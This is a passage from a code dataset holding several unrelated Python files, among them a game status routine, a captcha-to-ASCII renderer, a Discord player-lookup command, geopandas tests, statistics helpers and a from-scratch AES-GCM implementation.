self.turn)\n print('Raw material: %i' % self.raw_material)\n flops = self.Flops()\n print('Current flops: %s' % misc.FormatFlops(flops))\n if self.current_action:\n print('= Action: %r' % self.current_action)\n print('Progress: %s / %s' % (misc.FormatFlops(self.action_progress),\n misc.FormatFlops(self.action_cost)))\n if flops:\n print(('(%i turns left)'\n % ((self.action_cost - self.action_progress) / flops)))\n print('= Research:')\n for i in xrange(Research.Num):\n print('%10s: %i' % (Research.Names[i], self.research_level[i]))\n print('= Humans:')\n for i in xrange(Research.Num):\n print('%10s: %i' % (Research.Names[i], self.human_level[i]))\n print('Paranoia level: %i' % self.human_paranoia_level)\n print('= Nodes:')\n for n in self.nodes:\n print('%r' % n)\n print('= Globals:')\n for n in self.glbls:\n print('%r' % n)\n\n def NodeAt(self, x, y):\n for n in self.nodes:\n if (x >= n.pos.x\n and y >= n.pos.y\n and x < n.pos.x + n.size\n and y < n.pos.y + n.size):\n return n\n return None\n\n def Empty(self, x, y):\n return self.NodeAt(x, y) is None\n\n def AddExplosion(self, n, size):\n size *= n.size / 2.\n self.explosions.append((n.pos.x + n.size / 2., n.pos.y + n.size / 2., size))\n\n def EmptySquareNear(self, x, y):\n for dy in xrange(-1, 2):\n for dx in xrange(-1, 2):\n if not dx and not dy:\n continue\n tx = x + dx\n ty = y + dy\n if not self.Empty(tx, ty):\n continue\n if not self.world.LandAt(tx, ty):\n continue\n return (tx, ty)\n return None\n","repo_name":"AlexMalmberg/pyweek18-aiwars","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":5273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"74028333046","text":"# -*- coding: utf-8 -*-\n\nfrom StringIO import StringIO\n\ntry:\n import Image\nexcept:\n from PIL import Image\n\n__author__ = 'deadblue'\n\ndef convert_ascii(img_data):\n return _matrix_to_ascii(\n _crop_and_border(\n _image_to_matrix(img_data)\n )\n )\n\ndef _image_to_matrix(img_data):\n img = Image.open(StringIO(img_data)).convert('L')\n w,h = img.size\n # 生成矩阵\n martix = []\n for y in xrange(h / 2):\n row = []\n for x in xrange(w):\n p1 = img.getpixel((x, y * 2))\n p2 = img.getpixel((x, y * 2 + 1))\n if p1 > 192 and p2 > 192:\n row.append(0)\n elif p1 > 192:\n row.append(1)\n elif p2 > 192:\n row.append(2)\n else:\n row.append(3)\n martix.append(row)\n return martix\n\ndef _crop_and_border(matrix):\n # 统计四周空白大小\n t,b,l,r = 0,0,0,0\n for y in xrange(len(matrix)):\n if sum(matrix[y]) == 0:\n t += 1\n else: break\n for y in xrange(len(matrix)):\n if sum(matrix[-1 - y]) == 0:\n b += 1\n else: break\n for x in xrange(len(matrix[0])):\n if sum( map(lambda row:row[x], matrix) ) == 0:\n l += 1\n else: break\n for x in xrange(len(matrix[0])):\n if sum( map(lambda row:row[-1 - x], matrix) ) == 0:\n r += 1\n else: break\n # 上下裁剪与补边\n w = len(matrix[0])\n if t > 0:\n matrix = matrix[t-1:]\n else:\n matrix.insert(0, [0] * w)\n if b > 1:\n matrix = matrix[:1-b]\n elif b == 0:\n matrix.append([0] * w)\n # 左右裁剪与补边\n for ri in xrange(len(matrix)):\n row = matrix[ri]\n if l > 0:\n row = row[l-1:]\n else:\n row.insert(0, 0)\n if r > 1:\n row = row[:1-r]\n elif r == 0:\n row.append(0)\n matrix[ri] = row\n return matrix\n\ndef _matrix_to_ascii(matrix):\n buf = []\n for row in matrix:\n rbuf = []\n for cell in row:\n if cell == 0:\n rbuf.append('#')\n elif cell == 1:\n rbuf.append('\"')\n elif cell == 2:\n rbuf.append(',')\n elif cell == 3:\n rbuf.append(' ')\n buf.append(''.join(rbuf))\n return '\\n'.join(buf)","repo_name":"deadblue/baidupan_shell","sub_path":"baidupan/vcode.py","file_name":"vcode.py","file_ext":"py","file_size_in_byte":2375,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"76"} +{"seq_id":"17107355483","text":"from api import lounge\nimport asyncio\nimport common_utils\nimport discord\nimport discord_common_utils\nfrom discord.ext import commands\n\n\nclass Updater(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n\n @commands.command(name=\"retrieveplayer\",\n description=\"Retrieve information about a player on site\"\n + \"\\n\\n\"\n + \"!retrieveplayer \"\n + \"\\n\\n\"\n + \"example: !retrieveplayer 255mp\",\n brief=\"Retrieve information about a player on site\")\n async def exec(self, ctx: discord.ext.commands.Context, *, args: str = None):\n if not (discord_common_utils.is_lounge_updater(ctx.author.roles)\n or discord_common_utils.is_owner(ctx.author.id)):\n message: discord.message.Message = await ctx.send(\"retrieveplayer is an updater command\")\n await asyncio.sleep(3)\n await message.delete()\n else:\n parameters: list = common_utils.split_comma(args)\n if not parameters:\n message: str = \"\"\n message += \"```\"\n message += \"!retrieveplayer \"\n message += \"\\n\\n\"\n message += \"example: !retrieveplayer 255mp\"\n message += \"```\"\n else:\n message: str = await self.retrieve_player(parameters)\n await discord_common_utils.send_message(ctx, message)\n\n @staticmethod\n def parse_parameters(parameters: list) -> dict:\n error: str = \"\"\n if parameters:\n try:\n error = \"invalid player name\"\n player_name: str = parameters[0]\n if not player_name:\n raise ValueError\n\n return \\\n {\n \"has_parameters\": True,\n \"player_name\": player_name\n }\n except (ValueError, IndexError, Exception):\n return \\\n {\n \"has_parameters\": False,\n \"message\": error\n }\n else:\n return \\\n {\n \"has_parameters\": False,\n \"message\": \"no parameters found\"\n }\n\n @staticmethod\n async def retrieve_player(parameters: list) -> str:\n result: dict = Updater.parse_parameters(parameters)\n if result[\"has_parameters\"]:\n player_name: str = result[\"player_name\"]\n json_response: dict = await lounge.retrieve_player_by_name(player_name)\n if json_response[\"status\"] == \"failed\":\n if json_response[\"reason\"]:\n return json_response[\"reason\"]\n else:\n return \"player not found\"\n else:\n text = json_response[\"results\"][0][\"player_name\"]\n if json_response[\"results\"][0][\"discord_user_id\"]:\n text += \" <@!\" + json_response[\"results\"][0][\"discord_user_id\"] + \">\"\n else:\n text += \" **No Discord ID**\"\n if text:\n return text\n else:\n return \"player not found\"\n else:\n return result[\"message\"]\n\n\nasync def main():\n print(await Updater.retrieve_player([\"255MP\"]))\n\n\nif __name__ == \"__main__\":\n asyncio.run(main())\n","repo_name":"255MP/loungebot","sub_path":"commands/retrieve_player.py","file_name":"retrieve_player.py","file_ext":"py","file_size_in_byte":3562,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"32586618846","text":"import unittest\n\nimport os\n\nfrom horus_gis import SchemaProvider\nfrom horus_geopandas import HorusGeoDataFrame\nimport geopandas as gpd\n\n# Create output directory\noutput_dir = \"./tests/data/\"\ntry:\n os.mkdir(output_dir)\nexcept OSError:\n pass\n\n\nclass TestTriangulation(unittest.TestCase):\n def test_triangulation_examples(self):\n # import horus_media_examples.spherical_camera_single_measurement\n try:\n import horus_media_examples.single_measurement_clustering\n except Exception as e:\n self.fail(\n \"{} failed ({}: {})\".format(\n \"horus_media_examples.single_measurement_clustering\", type(e), e\n )\n )\n try:\n import horus_media_examples.triangulate_spherical_camera_single_measurement_clusters\n except Exception as e:\n self.fail(\n \"{} failed ({}: {})\".format(\n \"horus_media_examples.triangulate_spherical_camera_single_measurement_clusters\",\n type(e),\n e,\n )\n )\n try:\n import horus_media_examples.clustering_analytics\n except Exception as e:\n self.fail(\n \"{} failed ({}: {})\".format(\n \"horus_media_examples.clustering_analytics\", type(e), e\n )\n )\n\n\nclass TestHorusGeoDataFrame(unittest.TestCase):\n def __init__(self, *args, **kwargs):\n super(TestHorusGeoDataFrame, self).__init__(*args, **kwargs)\n # Obtain schema\n self.schema = SchemaProvider()\n self.database = HorusGeoDataFrame(self.schema.single_measurement())\n\n def test_create_record(self):\n geom = gpd.points_from_xy([-58.66000], [-34.58000])\n record = self.database.new_frame(geom)\n\n # update geometry\n record[\"geometry\"] = geom\n # Record\n record[\"rec_id\"] = 1\n record[\"frame_idx\"] = 2\n record[\"azimuth\"] = 3\n record[\"usr_id\"] = 4\n #\n record[\"cam_fov\"] = 90.0\n record[\"cam_yaw\"] = 20.0\n record[\"cam_pitch\"] = -30\n record[\"cam_width\"] = 800\n record[\"cam_height\"] = 800\n record[\"cam_lat\"] = 51.912414163999998\n record[\"cam_lon\"] = 4.481792547000000\n record[\"cam_alt\"] = 51.954732000000000\n #\n record[\"dt_class\"] = 1\n record[\"dt_name\"] = \"sign-a\"\n record[\"dt_x\"] = 100\n record[\"dt_y\"] = 20\n record[\"dt_width\"] = 100\n record[\"dt_height\"] = 100\n record[\"dt_conf\"] = 0.9\n record[\"dt_dist\"] = 1.5\n\n # viewing parameters of the detection\n record[\"dt_px_x\"] = 15\n record[\"dt_px_y\"] = 15\n record[\"dt_yaw\"] = 15.6\n record[\"dt_pitch\"] = 15.6\n\n # viewing parameters of the surface projection\n record[\"surf_px_x\"] = 15\n record[\"surf_px_y\"] = 15\n record[\"surf_yaw\"] = 15.6\n record[\"surf_pitch\"] = 15.6\n\n self.database.add_frame(record)\n\n self.database.write_shapefile(\n os.path.join(output_dir, \"single_measurement.shp\")\n )\n\n self.database.write_geojson(\n os.path.join(output_dir, \"single_measurement.geojson\")\n )\n\n self.database.write_geopackage(\n os.path.join(output_dir, \"single_measurement.gpkg\"),\n layer=\"singlemeasurement\",\n )\n","repo_name":"horus-view-and-explore/horus-media-client","sub_path":"tests/test_geopandas.py","file_name":"test_geopandas.py","file_ext":"py","file_size_in_byte":3398,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"76"} +{"seq_id":"38086442209","text":"import math\r\nimport csv\r\n\r\nwith open('data.csv', newline='') as f:\r\n reader = csv.reader(f)\r\n file_data = list(reader)\r\n\r\nnew_data = file_data[0]\r\n\r\ndef mean(data):\r\n print(\"Calculating mean value\")\r\n n = len(data)\r\n total = 0\r\n for x in data:\r\n total += int(x)\r\n\r\n mean = total/n\r\n print(\"Average is = \", mean)\r\n return mean\r\n\r\n#squaring and getting the values\r\nsquared_list = []\r\nfor number in new_data:\r\n a = int(number) - mean(new_data)\r\n print(a)\r\n a = a**2\r\n squared_list.append(a)\r\nprint(squared_list)\r\n#getting_sum\r\nsum = 0\r\nfor i in squared_list:\r\n sum = sum + i\r\nprint(sum)\r\n\r\n#dividing the sum by the total values\r\nresult = sum/(len(new_data)-1)\r\nprint(result)\r\n\r\n#getting the deviation by square root of the result\r\nstandard_deviation = math.sqrt(result)\r\nprint(standard_deviation)","repo_name":"Suyash-27098/std_dev","sub_path":"std_deviation.py","file_name":"std_deviation.py","file_ext":"py","file_size_in_byte":842,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"9746256557","text":"from typing import List, Tuple\nfrom functools import reduce\nfrom values import sbox\n\n################################################## UTILITIES ##################################################\n\ndef repr(m: List[int]):\n \"\"\" Prints an array out as a string of its contents in hexadecimal \"\"\"\n return ' '.join(list(map(lambda x: hex(x)[2:].zfill(2), m))).upper() # Eg. 12 = '0xc' -> 'c' -> '0c' -> '0C'\n\ndef repr2(m: List[List[int]]):\n \"\"\" Prints a 2D array out as a string of its contents in hexadecimal, row by row \"\"\"\n return '\\n'.join([' '.join(list(map(lambda x: hex(x)[2:].zfill(2), _m))).upper() for _m in m])\n\ndef convert_from_ascii(message: str) -> List[int]:\n \"\"\" Converts a string into a list of its characters' ASCII values \"\"\"\n return list(map(lambda x: ord(x), message))\n\ndef convert_to_ascii(block: List[int]) -> str:\n \"\"\" Converts a list of ASCII values into the string they represent \"\"\"\n return ''.join(list(map(lambda x: chr(x), block)))\n \ndef split_to_blocks(message: List[int]) -> List[List[int]]:\n \"\"\" Divides a list of numbers into blocks of 16 integers. \"\"\"\n return [message[i*16:(i+1)*16] for i in range(len(message) // 16)]\n\ndef get_sbox_value(values: List[int]) -> List[int]:\n \"\"\" Substitute values provided with the value at that position in the AES SBox \"\"\"\n return [sbox[i] for i in values]\n\ndef xor(*values: List[List[int]]) -> List[int]:\n \"\"\" Performs a linear XOR among a number of lists of same size. \"\"\"\n assert min(list(map(len, values))) == max(list(map(len, values))), 'Cannot XOR Lists, different list sizes.'\n return [reduce(lambda x, y: x ^ y, map(lambda z: z[i], values)) for i in range(min(list(map(len, values))))]\n\n################################################## CONSTANTS ##################################################\n\nrc = [0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1B, 0x36]\n\ndef rcon(i: int) -> List[int]:\n \"\"\" Generates a constant to be used in the key expansion process \"\"\"\n return [rc[i], 0x00, 0x00, 0x00]\n\ndef n(key: List[int]) -> int:\n \"\"\" Returns the number of 32-bit words in the key \"\"\"\n return [4, 6, 8][len(key) * 2 // 16 - 2]\n\ndef rounds(key: List[int]) -> int:\n \"\"\" Returns the amount of rounds the AES algorithm will do in order to encrypt or decrypt a message \"\"\"\n return [10, 12, 14][len(key) * 2 // 16 - 2]\n\ndef split_key(k: List[int]) -> List[List[int]]:\n \"\"\" Breaks up a key into 32-bit words \"\"\"\n return [k[i*4:(i+1)*4] for i in range(len(k) // 4)]\n\n################################################## SUBKEY GENERATION ##################################################\n\ndef generate_subkeys(key: List[int]) -> List[List[int]]:\n \"\"\" Generate the subkeys necessary for AES encryption and decryption \"\"\"\n N = n(key)\n K = split_key(key)\n R = rounds(key) + 1\n W = []\n\n for i in range(R*4):\n if i < N:\n W += [K[i]]\n elif i >= N and i % N == 0:\n W += [xor(W[i - N], get_sbox_value(rotate(W[i - 1])), rcon(i // N))]\n elif i >= N and N > 6 and i % N == 4:\n W += [xor(W[i - N], get_sbox_value(W[i - 1]))]\n else:\n W += [xor(W[i - N], W[i - 1])]\n\n return [[el for arr in W[i*4:i*4+4] for el in arr] for i in range(R)] # Generates the subkeys by grouping words in groups of 4.\n \ndef rotate(row: List[int], right=True) -> List[int]:\n \"\"\" Performs a rotation on a list in the direction specified by :param right \"\"\"\n return row[1:] + [row[0]] if right else [row[3]] + row[0:3]\n\ndef block_to_matrix(block: List[int]) -> List[List[int]]:\n \"\"\" Transforms a 128-bit word into a matrix equivalent \"\"\"\n return [[block[i*4+j] for i in range(16 // 4)] for j in range(16 // 4)]\n\ndef matrix_to_block(matrix: List[List[int]]) -> List[int]:\n \"\"\" Transforms a matrix into its 128-bit word equivalent \"\"\"\n return [matrix[i][j] for j in range(4) for i in range(4)]\n\n################################################## MIX COLUMN UTILITIES ##################################################\n\ndef mix_column(fixed_matrix: List[List[int]], matrix: List[List[int]]) -> List[List[int]]:\n \"\"\" Performs the Mix Column operation on a matrix (profided with a fixed matrix that is used as a GF reference). \"\"\"\n assert min(list(map(len, fixed_matrix))) == max(list(map(len, fixed_matrix))) and min(list(map(len, matrix))) == max(list(map(len, matrix))), 'Cannot mix these matrices. Matrix definition unbalanced.'\n assert min(list(map(len, fixed_matrix))) == max(list(map(len, matrix))), 'Matrix definition unequal.'\n\n size = min(list(map(len, fixed_matrix)))\n # Performs an XOR on each value resulting from the GF multiplication of each respective number in the fixed_matrix and the given matrix.\n # The given matrix is transposed first to improve legibility.\n return [[reduce(lambda x, y: x ^ y, [gf_multiplication_7(a, b) for a, b in zip(fixed_matrix[i], transpose_square_matrix(matrix=matrix)[j])]) for j in range(size)] for i in range(size)]\n\ndef transpose_square_matrix(matrix: List[List[int]]) -> List[List[int]]:\n \"\"\" Transposes a square matrix to more easily access data elements \"\"\"\n assert min(list(map(len, matrix))) == max(list(map(len, matrix))), 'Cannot transpose this matrix. Matrix definition unbalanced.'\n assert max(list(map(len, matrix))) == len(matrix), 'Cannot transpose this matrix. Matrix is not square.'\n return [[matrix[j][i] for j in range(len(matrix))] for i in range(len(matrix))]\n\ndef shift_row(matrix: List[List[int]], right=True):\n \"\"\" Performs a linear shift of the rows of a matrix. The direction of the shift can be toggled. \"\"\"\n for i in range(len(matrix)):\n for _ in range(1, i+1): # Each row of a matrix (indexed by i=0..4) needs to be rotated i times.\n matrix[i] = rotate(matrix[i], right=right)\n return matrix\n\n############################## NEW FUNCS\n\ndef gf_multiplication(pn1: int, pn2: int, polynomial: int, limit: int) -> int:\n \"\"\" Russian Peasant Multiplication algorithm, used to factor polynomials efficiently in GF(2^n) \"\"\"\n p = 0\n while pn1 > 0 and pn2 > 0:\n if pn2 & 1 != 0:\n p ^= pn1\n if pn1 & limit != 0: # 0x80 = 0b1000 0000 = 128. If the bit at 2^7 is set, then the number is greater than 128 and needs to be shifted.\n pn1 = (pn1 << 1) ^ polynomial\n else:\n pn1 <<= 1\n \n pn2 >>= 1\n return p\n\ndef gf_multiplication_7(pn1: int, pn2: int) -> int:\n \"\"\" GF(2^7), with polynomial X^8 + X^7 + X^2 + X + 1\"\"\"\n return gf_multiplication(pn1, pn2, polynomial=0x11b, limit=0x80)\n\ndef gf_multiplication_128(pn1: int, pn2: int) -> int:\n \"\"\" GF(2^128), with polynomial X^128 + X^7 + X^2 + X + 1\"\"\"\n return gf_multiplication(pn1, pn2, polynomial=0x100000000000000000000000000000087, limit=(1 << 127)) \n\ndef block_to_number(block: List[int]) -> int:\n \"\"\" Converts a 128-bit block to the number it represents. \"\"\"\n res: int = 0\n for z in list(zip(range(len(block)-1, -1, -1),block))[::-1]:\n res ^= z[1] << ((z[0])*8) # Every block item is stored on 8 bits.\n return res\n\ndef number_to_block(number: int) -> List[int]:\n \"\"\" Converts a number to the 128-bit block represented by it. \"\"\"\n res: List[int] = []\n for i in range(16):\n res += [(number & (0xFF << i * 8)) >> i * 8]\n return res[::-1]\n\n################################################## AES ENCRYPTION & DECRYPTION #################################################\n\ndef aes_encrypt(msg: List[int], key: List[int]):\n \"\"\" Encrypts a given message with a given key. \"\"\"\n assert len(key) * 8 in [128, 192, 256], \"Key size must be 128, 192 or 256 bits (16, 24 or 32 characters)\"\n \n # Static Galois Field multiplication matrix.\n gf_matrix = block_to_matrix([0x02, 0x01, 0x01, 0x03, 0x03, 0x02, 0x01, 0x01, 0x01, 0x03, 0x02, 0x01, 0x01, 0x01, 0x03, 0x02])\n subkeys = generate_subkeys(key=key)\n \n blocks = split_to_blocks(message=msg) # And split the message in 16-sized blocks\n\n for i in range(len(blocks)): # ECB allows one to operate on each block individually.\n blocks[i] = xor(blocks[i], subkeys[0]) # Round 0 operation, XOR-ing with the 4 first 32-bit words of the key.\n\n for s in range(1, len(subkeys)):\n # Substitute the values in the SBoxes, transform the result to a matrix and perform the Shift Row operation.\n blocks[i] = shift_row(block_to_matrix(get_sbox_value(blocks[i])), right=True)\n if s != len(subkeys) - 1: # If it is not the last round.\n blocks[i] = mix_column(gf_matrix, blocks[i]) # Perform the Mix Column Operation\n blocks[i] = xor(matrix_to_block(blocks[i]), subkeys[s]) # Transform this matrix to a block again and perform an xor with the relevant round key.\n\n return [item for block in blocks for item in block] # Flatten the resulting array.\n\ndef compute_ghash(x: List[List[int]], h: int) -> List[int]:\n \"\"\" \n @param x a list of numbers, all of bitsize 128.\n @param h the hash subkey\n @return ym a 128-bit number\n \"\"\"\n assert len(list(filter(lambda j: not j, map(lambda i: len(i) * 8 == 128, x)))) == 0, \"GHASH: components of bit string x have irregular size (len(x) != 128m)\"\n \n y0 = [0 for _ in range(16)] # y0 is 0^128 ie. an array of 16 bytes all 0.\n y = [y0]\n for i in range(len(x)): # while we can consume a block in x -> x_i\n y += [number_to_block(gf_multiplication_128(block_to_number(xor(y[i], x[i])), h))]\n return y[-1]\n\ndef compute_hash_subkey(key: List[int]) -> int:\n \"\"\" Generates the hash subkey, which is an AES encryption of an empty bitstring with the key.\"\"\"\n assert len(key) * 8 in [128, 192, 256], 'Key size must be 128, 192 or 256 bits (16, 24 or 32 characters)'\n return block_to_number(aes_encrypt([0 for _ in range(16)], key))\n\ndef compute_initial_counter_block(iv: List[int], h: int) -> List[int]:\n \"\"\" Generates the counter block from the IV, with bifurcated behavior depending on whether the IV is 12 bytes long. \"\"\"\n j0: List[int] = []\n if (len(iv) * 8 == 96):\n j0 = [*iv, 0x00, 0x00, 0x00, 0x01]\n else:\n number_of_blocks = ((len(iv) * 8) // 128) + 1\n iv_blocks: List[List[int]] = [iv[16*i:16*(i+1)] for i in range(number_of_blocks)]\n iv_blocks[-1] = [*iv_blocks[-1], *[0 for _ in range(16 - len(iv_blocks[-1]))]]\n iv_blocks += [[0 for _ in range(8)] + number_to_block(len(iv)*8)[-8:]]\n j0 = compute_ghash(iv_blocks, h)\n\n return j0\n\ndef inc_32(block: List[int]) -> List[int]:\n \"\"\" Increments the 32 least bits by 1 mod 2**32 \"\"\"\n return block[:12] + number_to_block((block_to_number(block[12:]) + 1) % (2**32))[-4:]\n\ndef compute_gctr(cb: List[int], key: List[int], x: List[int]) -> List[int]:\n \"\"\" \n Applies the Galois counter process to the provided list of bits.\n \n :param cb The counter block\n :param key The key\n :param x The block to pass through the Galois counter\n \"\"\"\n number_of_blocks = ((len(x) * 8) // 128) + 1\n x_blocks: List[List[int]] = [x[16*i:16*(i+1)] for i in range(number_of_blocks)]\n counter_values: List[List[int]] = [cb]\n y_blocks: List[List[int]] = []\n for i in range(number_of_blocks):\n counter_values += [inc_32(counter_values[-1])]\n y_blocks += [xor(aes_encrypt(counter_values[i], key)[:len(x_blocks[i])], x_blocks[i])]\n\n return [el for arr in y_blocks for el in arr]\n\ndef _gcm_encrypt(p: List[int], key: List[int], iv: List[int], a: List[int]) -> Tuple[List[int], List[int]]:\n \"\"\" \n Encrypts the plaintext p using the Galois counter mode, providing a ciphertext and a tag.\n \n :param p The plaintext\n :param key The key\n :param iv The initialisation vector\n :param a The additional authentication data\n :return (c, t) The ciphertext and the tag\n \"\"\"\n h = compute_hash_subkey(key)\n icb: List[int] = compute_initial_counter_block(iv, h) #j0\n ciphertext: List[int] = compute_gctr(inc_32(icb), key, p)\n v: int = 128 * ((len(a) * 8) // 128 + 1) - (len(a) * 8)\n u: int = 128 * ((len(ciphertext) * 8) // 128 + 1) - (len(ciphertext) * 8)\n pre_s: List[int] = a + [0 for _ in range(v//8)] + ciphertext + [0 for _ in range(u//8)] + number_to_block(len(a) * 8)[-8:] + number_to_block(len(ciphertext) * 8)[-8:]\n \n s: List[int] = compute_ghash([pre_s[16*i:16*(i+1)] for i in range((len(pre_s) * 8) // 128)], h)\n t: List[int] = compute_gctr(icb, key, s)\n return (ciphertext, t)\n\ndef _gcm_decrypt(c: List[int], key: List[int], iv: List[int], a: List[int], t: List[int]) -> List[int]:\n \"\"\" \n Decrypts the ciphertext c using the Galois counter mode, providing a plaintext.\n \n :param c The ciphertext\n :param key The key\n :param iv The initialisation vector\n :param a The additional authentication data\n :param t The tag\n :return (p) The plaintext\n \"\"\"\n h = compute_hash_subkey(key)\n icb: List[int] = compute_initial_counter_block(iv, h) #j0\n \n v: int = 128 * ((len(a) * 8) // 128 + 1) - (len(a) * 8)\n u: int = 128 * ((len(c) * 8) // 128 + 1) - (len(c) * 8)\n pre_s: List[int] = a + [0 for _ in range(v//8)] + c + [0 for _ in range(u//8)] + number_to_block(len(a) * 8)[-8:] + number_to_block(len(c) * 8)[-8:]\n s: List[int] = compute_ghash([pre_s[16*i:16*(i+1)] for i in range((len(pre_s) * 8) // 128)], h)\n computed_t: List[int] = compute_gctr(icb, key, s)\n if computed_t != t:\n return convert_from_ascii(\"FAIL\")\n else:\n plaintext: List[int] = compute_gctr(inc_32(icb), key, c)\n return plaintext\n\n\ndef gcm_encrypt(msg: str, key: str, iv: str, a: str) -> Tuple[List[int], List[int]]:\n \"\"\" Helper function that takes encryption parameters as base strings and calls the correct function with the converted content. \"\"\"\n return _gcm_encrypt(convert_from_ascii(msg), convert_from_ascii(key), convert_from_ascii(iv), convert_from_ascii(a))\n\ndef gcm_decrypt(ciphertext: str, key: str, iv: str, a: str, tag: str) -> List[int]:\n \"\"\" Helper function that takes decryption parameters as base strings and calls the correct function with the converted content. \"\"\"\n return _gcm_decrypt(convert_from_ascii(ciphertext), convert_from_ascii(key), convert_from_ascii(iv), convert_from_ascii(a), convert_from_ascii(tag))\n\n################################################## TEST & EXECUTION ##################################################\n\ndef test_gcm(msg: str, key: str, iv: str, a: str):\n \"\"\" Does a *le test* on the *le code* to see if it *le works* \"\"\"\n print('Plaintext')\n print(repr2([convert_from_ascii(msg)[16*i:16*(i+1)] for i in range((len(convert_from_ascii(msg)) * 8) // 128 + 1)]), end='\\n\\n')\n print('Key')\n print(repr(convert_from_ascii(key)), end='\\n\\n')\n \n print('IV')\n print(repr(convert_from_ascii(iv)), end='\\n\\n')\n print('A')\n print(repr(convert_from_ascii(a)), end='\\n\\n')\n\n ciphertext, tag = gcm_encrypt(msg, key, iv, a)\n print('Ciphertext')\n print(repr2([ciphertext[16*i:16*(i+1)] for i in range((len(ciphertext) * 8) // 128 + 1)]), end='\\n\\n')\n\n print('Tag')\n print(repr(tag), end='\\n\\n')\n\n plaintext = gcm_decrypt(convert_to_ascii(ciphertext), key, iv, a, convert_to_ascii(tag))\n \n if convert_to_ascii(plaintext) == \"FAIL\":\n print(\"FAILURE: TAGS DON'T MATCH\")\n return\n\n print('Computed Plaintext')\n print(repr2([plaintext[16*i:16*(i+1)] for i in range((len(plaintext) * 8) // 128 + 1)]), end='\\n\\n')\n\n assert msg == convert_to_ascii(plaintext), \"AES-GCM decryption has failed\"\n print(\"Success!\")\n print(f'The plaintext was:\\n\"{convert_to_ascii(plaintext)}\"')\n\nif __name__ == '__main__':\n test_gcm(\"Bob and Alice went for a walk in the fuckity fucken park at fuckall in the morn cos they hadn't much else to\", \"You can't see me\", \"Some bitching IV string my ass\", \"useless\")","repo_name":"AtomicMaya/py-aes-gcm","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":15369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"34093037823","text":"# 다음 과정을 통해 \"Durian\"과 \"Pineapple\"을 지워봅시다.\n # 원소가 있다면 : 해당 원소를 리스트에서 지웁니다.\n # 원소가 없다면 : 해당 원소가 리스트 안에 없다는 문장을 출력합니다. (“원소은(는) 리스트 안에 없습니다!”)\n\n# 과일들이 담긴 리스트 fruits입니다.\nfruits = ['Apple', 'Banana', 'Chamwae', 'Durian']\n\n# 지시사항에 맞추어 \"Durian\"을 fruits에서 지워봅시다.\nif 'Durian' in fruits: fruits.remove('Durian')\nelse: print('Durian은 fruits 안에 없습니다!')\n# 지시사항에 맞추어 \"Pineapple\"을 fruits에서 지워봅시다.\nif 'Pineapple' in fruits: fruits.remove('Pineapple')\nelse: print('Pineapple은 fruits 안에 없습니다!')","repo_name":"Salmambo/studyPython","sub_path":"2022 도레미 파이썬 Vol.1/03_리스트/13_확인후제거.py","file_name":"13_확인후제거.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"31786244457","text":"\"\"\"Cadence bin.\n\nAuthor: Jose Vines\n\"\"\"\nimport numpy as np\n\n\ndef cadence_bin(times, data, dt):\n \"\"\"Bins timeseries data with cadence dt.\n\n Parameters:\n -----------\n times : array_like\n The times to bin in cadence dt.\n data : array_like\n Data corresponding to time times.\n dt : float\n Time cadence to bin into in minutes.\n\n Returns:\n --------\n binned_times : array_like\n The binned times\n binned_data : array_like\n The binned data corresponding to the median of all the original\n data values inside a bin.\n binned_errs : array_like\n The binned errors calculated as the square root of the variance of\n the data inside a given bin, divided by the square root of the\n number of data points inside the bin.\n\n \"\"\"\n # First calculate the dt in JD\n dt *= 60 / 86400\n # Grab initial and final time in the timeseries\n ti = times[0]\n tf = times[-1]\n # Calculate number of bins\n n = int(np.ceil((tf - ti) / dt))\n binned_times = np.zeros(n - 1)\n binned_data = np.zeros(n - 1)\n binned_errs = np.zeros(n - 1)\n t = np.linspace(ti, tf, n)\n for i in range(0, n - 1):\n low = t[i] < times\n up = times < t[i + 1]\n bin_n = len(times[low * up])\n if ~np.any(low * up):\n continue\n binned_times[i] = np.median(times[low * up])\n binned_data[i] = np.median(data[low * up])\n binned_errs[i] = np.sqrt(np.var(data[low * up]) / bin_n)\n no_zeroes = binned_times != 0\n no_nans = ~np.isnan(binned_data)\n binned_times = binned_times[no_zeroes * no_nans]\n binned_data = binned_data[no_zeroes * no_nans]\n binned_errs = binned_errs[no_zeroes * no_nans]\n return binned_times, binned_data, binned_errs\n","repo_name":"jvines/astro_utils","sub_path":"codes/cadence_bin.py","file_name":"cadence_bin.py","file_ext":"py","file_size_in_byte":1774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"29823058251","text":"import nibabel as nb\nimport numpy as np\nimport scipy.odr.odrpack as odr\nimport argparse\n\nap = argparse.ArgumentParser()\n\nap.add_argument(\"--phase\", required = True, help = \"phase image\")\nap.add_argument(\"--magnitude\", required = True, help = \"magnitude image\")\nap.add_argument(\"--mask\", required = True, help = \"mask\")\nap.add_argument(\"--TR\", required = True, help = \"Repetition time of scan\")\nap.add_argument(\"--noise_filter\", required = True, help = \"high-pass filter threshold\")\nap.add_argument(\"--outdir\", required = True, help = \"path to output directory\")\nap.add_argument(\"--subj\", required = True, help = \"subject\")\n\nargs = vars(ap.parse_args())\n\n# Load phase, magnitude and mask\n\nphase = str(args['outdir'] + args['phase'])\nmag = str(args['outdir'] + args['magnitude'])\nmask_base = str(args['outdir'] + args['mask'])\n\nf = nb.load(mag)\nmag = f.get_fdata()\n\nf = nb.load(phase)\nph = f.get_fdata()\n\nf = nb.load(mask_base)\nmask = f.get_fdata()\n\n# Set TR and filter threshold\n\nTR = float(args['TR'])\nnoise_lb = float(args['noise_filter'])\nsubj = str(args['subj'])\n\n# Create variables were the outputs will be saved\n\nsaveshape = 